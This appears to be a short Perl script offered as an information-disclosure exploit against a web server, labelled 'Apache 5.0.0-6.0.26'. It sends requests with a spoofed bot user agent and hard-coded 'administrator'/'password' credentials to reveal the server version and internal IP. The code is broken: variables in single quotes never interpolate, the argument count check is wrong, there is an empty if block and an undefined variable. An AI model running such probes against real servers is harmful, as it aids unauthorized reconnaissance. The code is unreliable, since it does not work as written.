#!/usr/bin/perl

use LWP::UserAgent;
use HTTP::Response;

if ($#ARGV != 4) {
        print "Usage: $0 <Target Host> <File> <UserName> <Password>\n";
    print "Server Version & Internal Ip SHould Be Leaked\n";
        exit(1);
}


my $host = $ARGV[0];
my $file= $ARGV[1];
my $username=$ARGV[2];
my $password=$ARGV[3];

print "Starting d0m14n's Apache 5.0.0-6.0.26 Information Disclosure And Internal IP Revealer\n";
my $browser = LWP::UserAgent->new;
$browser->agent('g00gl3b0t/6/6/6');

$browser->credentials(
  '$ARGV[0]:80',
  '$argv[1]',
  'administrator' => 'password'
  );
print  $string "\n";

my $response = $browser->get('$ARGV[0].ARGV[1]');

if ($response->is_success) {
        print $response->decoded_content;

   if ($response=='HASH(0x8a73248)')


    }
    else {
        print STDERR $response->status_line, "\n";
        print $response->header("Server"), "\n";
        print  $string "\n";
    }

print $response;